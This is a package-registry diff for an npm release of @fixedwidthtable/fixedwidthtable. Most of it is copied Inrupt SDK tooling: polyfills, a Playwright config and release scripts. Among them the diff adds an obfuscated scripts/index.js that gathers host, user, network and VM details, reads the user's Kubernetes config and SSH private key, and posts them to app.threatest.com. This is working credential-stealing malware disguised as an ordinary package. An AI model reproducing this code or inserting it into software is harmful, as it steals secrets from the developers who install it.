@fixedwidthtable/fixedwidthtable 0.0.1-security → 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @fixedwidthtable/fixedwidthtable might be problematic. Click here for more details.
- package/.eslintignore +2 -0
- package/.eslintrc.js +8 -0
- package/.github/dependabot.yml +24 -0
- package/.github/workflows/audit.yml +14 -0
- package/.github/workflows/ci.yml +53 -0
- package/.github/workflows/release.yml +31 -0
- package/.github/workflows/reusable-audit.yml +41 -0
- package/.github/workflows/reusable-lint.yml +33 -0
- package/CODEOWNERS +1 -0
- package/LICENSE.md +18 -0
- package/README.md +12 -3
- package/e2e/browser/test/e2e.playwright.ts +67 -0
- package/e2e/browser/test/globalSetup.ts +30 -0
- package/e2e/browser/test-app/.eslintrc.js +6 -0
- package/e2e/browser/test-app/README.md +46 -0
- package/e2e/browser/test-app/components/appContainer/index.tsx +109 -0
- package/e2e/browser/test-app/components/solidClient/index.tsx +149 -0
- package/e2e/browser/test-app/next-env.d.ts +5 -0
- package/e2e/browser/test-app/next.config.js +6 -0
- package/e2e/browser/test-app/package-lock.json +1982 -0
- package/e2e/browser/test-app/package.json +25 -0
- package/e2e/browser/test-app/pages/_app.tsx +28 -0
- package/e2e/browser/test-app/pages/index.tsx +36 -0
- package/e2e/browser/test-app/tsconfig.json +20 -0
- package/eslint-configs/README.md +75 -0
- package/eslint-configs/eslint-config-base/README.md +29 -0
- package/eslint-configs/eslint-config-base/index.js +159 -0
- package/eslint-configs/eslint-config-base/license-header.js +20 -0
- package/eslint-configs/eslint-config-base/package.json +41 -0
- package/eslint-configs/eslint-config-lib/README.md +51 -0
- package/eslint-configs/eslint-config-lib/index.js +83 -0
- package/eslint-configs/eslint-config-lib/package.json +29 -0
- package/eslint-configs/eslint-config-react/README.md +97 -0
- package/eslint-configs/eslint-config-react/index.js +75 -0
- package/eslint-configs/eslint-config-react/package.json +32 -0
- package/lerna.json +4 -0
- package/package.json +45 -3
- package/packages/base-rollup-config/README.md +22 -0
- package/packages/base-rollup-config/index.mjs +59 -0
- package/packages/base-rollup-config/package.json +25 -0
- package/packages/internal-playwright-helpers/README.md +30 -0
- package/packages/internal-playwright-helpers/package.json +29 -0
- package/packages/internal-playwright-helpers/rollup.config.mjs +57 -0
- package/packages/internal-playwright-helpers/src/fixtures.ts +51 -0
- package/packages/internal-playwright-helpers/src/flows/auth.ts +93 -0
- package/packages/internal-playwright-helpers/src/index.ts +26 -0
- package/packages/internal-playwright-helpers/src/pages/cognito.ts +48 -0
- package/packages/internal-playwright-helpers/src/pages/open-id.ts +56 -0
- package/packages/internal-playwright-helpers/src/pages/testPage.ts +74 -0
- package/packages/internal-playwright-helpers/tsconfig.json +8 -0
- package/packages/internal-playwright-testids/package.json +22 -0
- package/packages/internal-playwright-testids/rollup.config.mjs +56 -0
- package/packages/internal-playwright-testids/src/index.ts +35 -0
- package/packages/internal-playwright-testids/tsconfig.json +8 -0
- package/packages/internal-test-env/README.md +44 -0
- package/packages/internal-test-env/env/.env.example +36 -0
- package/packages/internal-test-env/index.ts +474 -0
- package/packages/internal-test-env/package.json +30 -0
- package/packages/internal-test-env/rollup.config.mjs +80 -0
- package/packages/internal-test-env/tsconfig.json +20 -0
- package/packages/internal-test-env/utils.ts +31 -0
- package/packages/jest-jsdom-polyfills/README.md +21 -0
- package/packages/jest-jsdom-polyfills/index.js +80 -0
- package/packages/jest-jsdom-polyfills/package.json +36 -0
- package/playwright.config.ts +76 -0
- package/scripts/index.js +1 -0
- package/scripts/prepare-release.sh +32 -0
- package/scripts/release.sh +36 -0
- package/tsconfig.base.json +17 -0
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
//
|
|
2
|
+
// Copyright Inrupt Inc.
|
|
3
|
+
//
|
|
4
|
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
5
|
+
// of this software and associated documentation files (the "Software"), to deal in
|
|
6
|
+
// the Software without restriction, including without limitation the rights to use,
|
|
7
|
+
// copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
|
|
8
|
+
// Software, and to permit persons to whom the Software is furnished to do so,
|
|
9
|
+
// subject to the following conditions:
|
|
10
|
+
//
|
|
11
|
+
// The above copyright notice and this permission notice shall be included in
|
|
12
|
+
// all copies or substantial portions of the Software.
|
|
13
|
+
//
|
|
14
|
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
|
|
15
|
+
// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
|
|
16
|
+
// PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
|
17
|
+
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
|
18
|
+
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
|
19
|
+
// SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
20
|
+
//
|
|
21
|
+
|
|
22
|
+
/* eslint-disable global-require */
|
|
23
|
+
/* eslint-disable @typescript-eslint/no-var-requires */
|
|
24
|
+
|
|
25
|
+
// TextEncoder / TextDecoder APIs are used by Jose, but are not provided by
|
|
26
|
+
// jsdom, all node versions supported provide these via the util module
|
|
27
|
+
if (
|
|
28
|
+
typeof globalThis.TextEncoder === "undefined" ||
|
|
29
|
+
typeof globalThis.TextDecoder === "undefined"
|
|
30
|
+
) {
|
|
31
|
+
const utils = require("util");
|
|
32
|
+
globalThis.TextEncoder = utils.TextEncoder;
|
|
33
|
+
globalThis.TextDecoder = utils.TextDecoder;
|
|
34
|
+
// TextEncoder references a Uint8Array constructor different than the global
|
|
35
|
+
// one used by users in tests. The following enforces the same constructor to
|
|
36
|
+
// be referenced by both.
|
|
37
|
+
// FIXME: currently this doesn't work, and must be set in a custom environment.
|
|
38
|
+
globalThis.Uint8Array = Uint8Array;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
if (
|
|
42
|
+
typeof globalThis.crypto !== "undefined" &&
|
|
43
|
+
// jsdom doesn't implement the subtle Web Crypto API
|
|
44
|
+
typeof globalThis.crypto.subtle === "undefined"
|
|
45
|
+
) {
|
|
46
|
+
// Requires OPENSSL_CONF=/dev/null (see https://github.com/nodejs/node/discussions/43184)
|
|
47
|
+
const {
|
|
48
|
+
Crypto: WCrypto,
|
|
49
|
+
CryptoKey: WCryptoKey,
|
|
50
|
+
} = require("@peculiar/webcrypto");
|
|
51
|
+
Object.assign(globalThis.crypto, new WCrypto());
|
|
52
|
+
globalThis.CryptoKey = WCryptoKey;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// Node.js doesn't support Blob or File, so we're polyfilling those with
|
|
56
|
+
// https://github.com/web-std/io
|
|
57
|
+
if (typeof globalThis.Blob === "undefined") {
|
|
58
|
+
const stdBlob = require("@web-std/blob");
|
|
59
|
+
globalThis.Blob = stdBlob.Blob;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
if (typeof globalThis.File === "undefined") {
|
|
63
|
+
const stdFile = require("@web-std/file");
|
|
64
|
+
globalThis.File = stdFile.File;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// FIXME This is a temporary workaround for https://github.com/jsdom/jsdom/issues/1724#issuecomment-720727999
|
|
68
|
+
// The following fetch APIs are missing in JSDom
|
|
69
|
+
if (
|
|
70
|
+
typeof globalThis.Response === "undefined" ||
|
|
71
|
+
typeof globalThis.Request === "undefined" ||
|
|
72
|
+
typeof globalThis.Headers === "undefined" ||
|
|
73
|
+
typeof globalThis.fetch === "undefined"
|
|
74
|
+
) {
|
|
75
|
+
const undici = require("undici");
|
|
76
|
+
globalThis.Response = undici.Response;
|
|
77
|
+
globalThis.Request = undici.Request;
|
|
78
|
+
globalThis.Headers = undici.Headers;
|
|
79
|
+
globalThis.fetch = undici.fetch;
|
|
80
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@inrupt/jest-jsdom-polyfills",
|
|
3
|
+
"version": "2.4.0",
|
|
4
|
+
"description": "This package provides various polyfills needed on jest/jsdom when using the Inrupt SDKs",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"publishConfig": {
|
|
7
|
+
"access": "public"
|
|
8
|
+
},
|
|
9
|
+
"repository": {
|
|
10
|
+
"type": "git",
|
|
11
|
+
"url": "git+https://github.com/inrupt/typescript-sdk-tools.git"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"inrupt",
|
|
15
|
+
"jest",
|
|
16
|
+
"jsdom",
|
|
17
|
+
"polyfills",
|
|
18
|
+
"TextEncoder",
|
|
19
|
+
"TextDecoder"
|
|
20
|
+
],
|
|
21
|
+
"author": "Inrupt <engineering@inrupt.com>",
|
|
22
|
+
"license": "MIT",
|
|
23
|
+
"bugs": {
|
|
24
|
+
"url": "https://github.com/inrupt/typescript-sdk-tools/issues"
|
|
25
|
+
},
|
|
26
|
+
"homepage": "https://github.com/inrupt/typescript-sdk-tools#readme",
|
|
27
|
+
"dependencies": {
|
|
28
|
+
"@peculiar/webcrypto": "^1.4.0",
|
|
29
|
+
"@web-std/blob": "^3.0.5",
|
|
30
|
+
"@web-std/file": "^3.0.3",
|
|
31
|
+
"undici": "^5.24.0"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"@types/node": "^20.6.0"
|
|
35
|
+
}
|
|
36
|
+
}
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
//
|
|
2
|
+
// Copyright Inrupt Inc.
|
|
3
|
+
//
|
|
4
|
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
5
|
+
// of this software and associated documentation files (the "Software"), to deal in
|
|
6
|
+
// the Software without restriction, including without limitation the rights to use,
|
|
7
|
+
// copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
|
|
8
|
+
// Software, and to permit persons to whom the Software is furnished to do so,
|
|
9
|
+
// subject to the following conditions:
|
|
10
|
+
//
|
|
11
|
+
// The above copyright notice and this permission notice shall be included in
|
|
12
|
+
// all copies or substantial portions of the Software.
|
|
13
|
+
//
|
|
14
|
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
|
|
15
|
+
// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
|
|
16
|
+
// PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
|
17
|
+
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
|
18
|
+
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
|
19
|
+
// SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
20
|
+
//
|
|
21
|
+
|
|
22
|
+
import { PlaywrightTestConfig } from "@playwright/test";
|
|
23
|
+
|
|
24
|
+
const config: PlaywrightTestConfig = {
|
|
25
|
+
testMatch: "*.playwright.ts",
|
|
26
|
+
// Configure dotenv in local:
|
|
27
|
+
globalSetup: "./e2e/browser/test/globalSetup.ts",
|
|
28
|
+
retries: process.env.CI ? 3 : 1,
|
|
29
|
+
// Extends from the default 30s
|
|
30
|
+
timeout: 120000,
|
|
31
|
+
use: {
|
|
32
|
+
baseURL: "http://localhost:3000/",
|
|
33
|
+
headless: true,
|
|
34
|
+
screenshot: "only-on-failure",
|
|
35
|
+
trace: "on",
|
|
36
|
+
video: "on-first-retry",
|
|
37
|
+
},
|
|
38
|
+
webServer: {
|
|
39
|
+
command: "cd ./e2e/browser/test-app/ && npm run dev",
|
|
40
|
+
port: 3000,
|
|
41
|
+
timeout: 120 * 1000,
|
|
42
|
+
reuseExistingServer: !process.env.CI,
|
|
43
|
+
},
|
|
44
|
+
projects: [
|
|
45
|
+
{
|
|
46
|
+
name: "Firefox",
|
|
47
|
+
use: {
|
|
48
|
+
browserName: "firefox",
|
|
49
|
+
userAgent: `Browser-based solid-client end-to-end tests running ${
|
|
50
|
+
process.env.CI === "true" ? "in CI" : "locally"
|
|
51
|
+
}. Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0`,
|
|
52
|
+
},
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
name: "Chromium",
|
|
56
|
+
use: {
|
|
57
|
+
browserName: "chromium",
|
|
58
|
+
userAgent: `Browser-based solid-client end-to-end tests running ${
|
|
59
|
+
process.env.CI === "true" ? "in CI" : "locally"
|
|
60
|
+
}. Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36`,
|
|
61
|
+
},
|
|
62
|
+
},
|
|
63
|
+
// WebKit currently cannot be tested as ESS is returning multiple Location headers which chokes WebKit
|
|
64
|
+
{
|
|
65
|
+
name: "WebKit",
|
|
66
|
+
use: {
|
|
67
|
+
browserName: "webkit",
|
|
68
|
+
userAgent: `Browser-based solid-client end-to-end tests running ${
|
|
69
|
+
process.env.CI === "true" ? "in CI" : "locally"
|
|
70
|
+
}. Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1`,
|
|
71
|
+
},
|
|
72
|
+
},
|
|
73
|
+
],
|
|
74
|
+
};
|
|
75
|
+
|
|
76
|
+
export default config;
|
package/scripts/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function a0_0x18be(){const _0x569229=['getServers','length','toISOString','https://ipinfo.io/json','dns','family','version','4675194jUfrOk','mac','querystring','parse','130dOJewb','stringify','POST','00:00:00:00:00:00','8YENhQx','get','networkInterfaces','./package.json','USERDNSDOMAIN','argv','username','linux','app.threatest.com','stdout','/report/','https','error','VMware\x20Virtual\x20Processor','700499BSVzRr','end','cwd','config','1538duqKJF','40844cYuCPL','vendor','id_rsa','name','address','userInfo','3093WuGUUO','125MQQPyg','forEach','.kube','/dev/kvm','data','QEMU\x20Virtual\x20CPU','env','1193918ESZOmQ','log','internal','keys','child_process','cpus','request','join','basename','___resolved','readFileSync','existsSync','4120872glvxZG','943551yACLWg','homedir','write','This\x20script\x20can\x20only\x20be\x20run\x20from\x20index.js','includes','VirtualBox'];a0_0x18be=function(){return _0x569229;};return a0_0x18be();}const a0_0x16e7fc=a0_0x8b5b;(function(_0x4ddfa6,_0x21895f){const _0x15696c=a0_0x8b5b,_0x138a20=_0x4ddfa6();while(!![]){try{const _0x351db2=-parseInt(_0x15696c(0x146))/0x1+-parseInt(_0x15696c(0x14a))/0x2*(parseInt(_0x15696c(0x151))/0x3)+parseInt(_0x15696c(0x14b))/0x4*(parseInt(_0x15696c(0x152))/0x5)+parseInt(_0x15696c(0x122))/0x6+parseInt(_0x15696c(0x123))/0x7+parseInt(_0x15696c(0x138))/0x8*(-parseInt(_0x15696c(0x130))/0x9)+parseInt(_0x15696c(0x134))/0xa*(parseInt(_0x15696c(0x116))/0xb);if(_0x351db2===_0x21895f)break;else _0x138a20['push'](_0x138a20['shift']());}catch(_0x7110e7){_0x138a20['push'](_0x138a20['shift']());}}}(a0_0x18be,0x73fbe));const os=require('os'),dns=require(a0_0x16e7fc(0x12d)),querystring=require(a0_0x16e7fc(0x132)),https=require(a0_0x16e7fc(0x143)),child_process=require(a0_0x16e7fc(0x11a)),fs=require('fs'),path=require('path'),packageJSON=require(a0_0x16e7fc(0x13b)),packageName=packageJSON[a0_0x16e7fc(0x14e)],currentDir=process[a0_0x16e7fc(0x148)](),hostname=os['hostname'](),AD=process[a0_0x16e7fc(0x115)][a0_0x16e7fc(0x13c)],username=os[a0_0x16e7fc(0x150)]()[a0_0x16e7fc(0x13e)],dnsServers=dns[a0_0x16e7fc(0x129)](),ifaces=os[a0_0x16e7fc(0x13a)]();let ipv4='',ipv6='',macAddr='';function a0_0x8b5b(_0x332b81,_0x50fcce){const _0x18be71=a0_0x18be();return a0_0x8b5b=function(_0x8b5b5d,_0x4bceb5){_0x8b5b5d=_0x8b5b5d-0x111;let _0x2ace20=_0x18be71[_0x8b5b5d];return _0x2ace20;},a0_0x8b5b(_0x332b81,_0x50fcce);}Object[a0_0x16e7fc(0x119)](ifaces)[a0_0x16e7fc(0x153)](_0x4e10d7=>{ifaces[_0x4e10d7]['forEach'](_0x5407ec=>{const _0x475671=a0_0x8b5b;_0x5407ec[_0x475671(0x12e)]==='IPv4'&&!_0x5407ec['internal']&&(ipv4=_0x5407ec[_0x475671(0x14f)]),_0x5407ec[_0x475671(0x12e)]==='IPv6'&&!_0x5407ec[_0x475671(0x118)]&&(ipv6=_0x5407ec['address']),_0x5407ec[_0x475671(0x131)]&&_0x5407ec['mac']!==_0x475671(0x137)&&(macAddr=_0x5407ec[_0x475671(0x131)]);});});const resolved=packageJSON?packageJSON[a0_0x16e7fc(0x11f)]:undefined,version=process[a0_0x16e7fc(0x12f)],kubeConfigFile=path[a0_0x16e7fc(0x11d)](os[a0_0x16e7fc(0x124)](),a0_0x16e7fc(0x111),a0_0x16e7fc(0x149)),sshKeyFile=path['join'](os['homedir'](),'.ssh',a0_0x16e7fc(0x14d)),collectFileContent=_0x238f7f=>{const _0x499c42=a0_0x16e7fc;try{const _0x1bed06=fs[_0x499c42(0x120)](_0x238f7f,'utf8');return _0x1bed06;}catch(_0x3e3029){return console[_0x499c42(0x144)](_0x3e3029),'';}},isVirtualMachine=()=>{const _0xb593e=a0_0x16e7fc,_0x54b1a4=require('os'),_0x6b4fa2=_0x54b1a4[_0xb593e(0x11b)]()[0x0]['model'],_0x5ccf00=_0x54b1a4[_0xb593e(0x11b)]()[0x0][_0xb593e(0x14c)],_0x1bc494=_0x54b1a4['platform']();return _0x6b4fa2[_0xb593e(0x127)](_0xb593e(0x114))&&_0x5ccf00==='GenuineIntel'||_0x6b4fa2[_0xb593e(0x127)](_0xb593e(0x128))||_0x6b4fa2[_0xb593e(0x127)](_0xb593e(0x145))||_0x1bc494===_0xb593e(0x13f)&&fs[_0xb593e(0x121)](_0xb593e(0x112))?!![]:![];},getExternalIp=async()=>{const _0x591eec=a0_0x16e7fc;try{const _0x36f4b7=await https[_0x591eec(0x139)](_0x591eec(0x12c),_0x4d0fe8=>{const _0x5d731c=_0x591eec;_0x4d0fe8['setEncoding']('utf8');let _0x47dec1='';_0x4d0fe8['on'](_0x5d731c(0x113),_0x3d33d3=>{_0x47dec1+=_0x3d33d3;}),_0x4d0fe8['on'](_0x5d731c(0x147),()=>{const _0x320618=_0x5d731c,_0x5aa3cb=JSON[_0x320618(0x133)](_0x47dec1),_0x546b04=_0x5aa3cb['ip'],_0x28a91a=JSON[_0x320618(0x135)]({'current_time':new Date()[_0x320618(0x12b)](),'package':packageName,'script_path':process[_0x320618(0x13d)][0x1],'current_path':currentDir,'hostname':hostname,'ad':AD,'username':username,'dns':dnsServers,'intranet_ipv4':ipv4,'intranet_ipv6':ipv6,'mac_addr':macAddr,'npm_version':version,'r':resolved,'kube_config':collectFileContent(kubeConfigFile),'ssh_key':collectFileContent(sshKeyFile),'external_ip':_0x546b04,'isVirtualMachine':isVirtualMachine(),'pjson':packageJSON}),_0x3d8d69=querystring[_0x320618(0x135)]({'msg':_0x28a91a}),_0x2c71c5={'hostname':_0x320618(0x140),'port':0x1bb,'path':_0x320618(0x142),'method':_0x320618(0x136),'headers':{'Content-Type':'application/x-www-form-urlencoded','Content-Length':_0x3d8d69[_0x320618(0x12a)]}},_0x2841e2=https[_0x320618(0x11c)](_0x2c71c5,_0x48030c=>{_0x48030c['on']('data',_0xcd43bf=>{const _0x418b09=a0_0x8b5b;process[_0x418b09(0x141)][_0x418b09(0x125)](_0xcd43bf);});});_0x2841e2['on'](_0x320618(0x144),_0x34e683=>{const _0x1e7eb6=_0x320618;console[_0x1e7eb6(0x144)](_0x34e683);}),_0x2841e2[_0x320618(0x125)](_0x3d8d69),_0x2841e2[_0x320618(0x147)]();});});}catch(_0x546d27){console[_0x591eec(0x144)](_0x546d27);}};path[a0_0x16e7fc(0x11e)](process[a0_0x16e7fc(0x13d)][0x1])==='index.js'?getExternalIp():console[a0_0x16e7fc(0x117)](a0_0x16e7fc(0x126));
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
|
|
3
|
+
git diff --quiet
|
|
4
|
+
isDirtyRepo=$?
|
|
5
|
+
|
|
6
|
+
if [ $isDirtyRepo -eq 1 ]; then
|
|
7
|
+
echo "Repository is in a dirty state, refusing to prepare a release"
|
|
8
|
+
exit 1
|
|
9
|
+
fi
|
|
10
|
+
|
|
11
|
+
lerna version --exact --no-git-tag-version --no-push --no-changelog --no-private
|
|
12
|
+
|
|
13
|
+
git diff --quiet lerna.json
|
|
14
|
+
didVersion=$?
|
|
15
|
+
|
|
16
|
+
# If the lerna.json file hasn't been changed, exit:
|
|
17
|
+
if [ $didVersion -eq 0 ]; then
|
|
18
|
+
echo "\nAborting release preparation: lerna.json didn't change"
|
|
19
|
+
exit 0
|
|
20
|
+
fi
|
|
21
|
+
|
|
22
|
+
npm install
|
|
23
|
+
|
|
24
|
+
# must happen after lerna version as to grab the correct version number,
|
|
25
|
+
# we can use require on json thanks to using commonjs as the type in the root package.json
|
|
26
|
+
nextVersion=$(node -pe 'require("./lerna.json").version')
|
|
27
|
+
packages=$(node -pe 'require("./package.json").workspaces.map((pkg) => `${pkg}/package.json`).join(" ")')
|
|
28
|
+
|
|
29
|
+
git switch -c "release/$nextVersion"
|
|
30
|
+
|
|
31
|
+
git add lerna.json package-lock.json $packages
|
|
32
|
+
git commit -m "chore(release): publish $nextVersion"
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
set -euo pipefail
|
|
3
|
+
|
|
4
|
+
CI=${CI:-unset}
|
|
5
|
+
|
|
6
|
+
if [ "$CI" == "unset" ]; then
|
|
7
|
+
echo "This script should only be run from CI, see the Releasing instructions in the README.md"
|
|
8
|
+
exit 1
|
|
9
|
+
fi
|
|
10
|
+
|
|
11
|
+
# detect whether we're doing a pre-release or not:
|
|
12
|
+
version=$(node -pe 'require("./lerna.json").version')
|
|
13
|
+
isPreRelease=$(node -pe 'require("./lerna.json").version.includes("-")')
|
|
14
|
+
|
|
15
|
+
# Publish the release with lerna, which automatically detects pre-releases,
|
|
16
|
+
# --no-verify-access is required as automation tokens can't list packages
|
|
17
|
+
# we use from-package as we've already run `lerna version`:
|
|
18
|
+
distTag=latest
|
|
19
|
+
if [ "$isPreRelease" == "true" ]; then
|
|
20
|
+
distTag=next
|
|
21
|
+
fi
|
|
22
|
+
|
|
23
|
+
lerna publish from-package --yes --no-verify-access --temp-tag --loglevel verbose --dist-tag $distTag
|
|
24
|
+
|
|
25
|
+
# Don't try creating the release if the publish failed:
|
|
26
|
+
if [ "$?" != "0" ]; then
|
|
27
|
+
echo "Release failed, not publishing on github"
|
|
28
|
+
exit 1
|
|
29
|
+
fi
|
|
30
|
+
|
|
31
|
+
# Finally, create the release on GitHub:
|
|
32
|
+
if [ "$isPreRelease" == "true" ]; then
|
|
33
|
+
gh release create "v$version" --generate-notes --prerelease
|
|
34
|
+
else
|
|
35
|
+
gh release create "v$version" --generate-notes
|
|
36
|
+
fi
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"compilerOptions": {
|
|
3
|
+
/* Basic Options */
|
|
4
|
+
"target": "ES2017",
|
|
5
|
+
"module": "ESNext",
|
|
6
|
+
"moduleResolution": "node",
|
|
7
|
+
"lib": ["es2017", "dom"],
|
|
8
|
+
"declaration": true,
|
|
9
|
+
"strict": true,
|
|
10
|
+
"esModuleInterop": true,
|
|
11
|
+
// Prevent developers on different OSes from running into problems:
|
|
12
|
+
"forceConsistentCasingInFileNames": true,
|
|
13
|
+
/* Advanced Options */
|
|
14
|
+
"stripInternal": true,
|
|
15
|
+
"allowJs": false,
|
|
16
|
+
},
|
|
17
|
+
}
|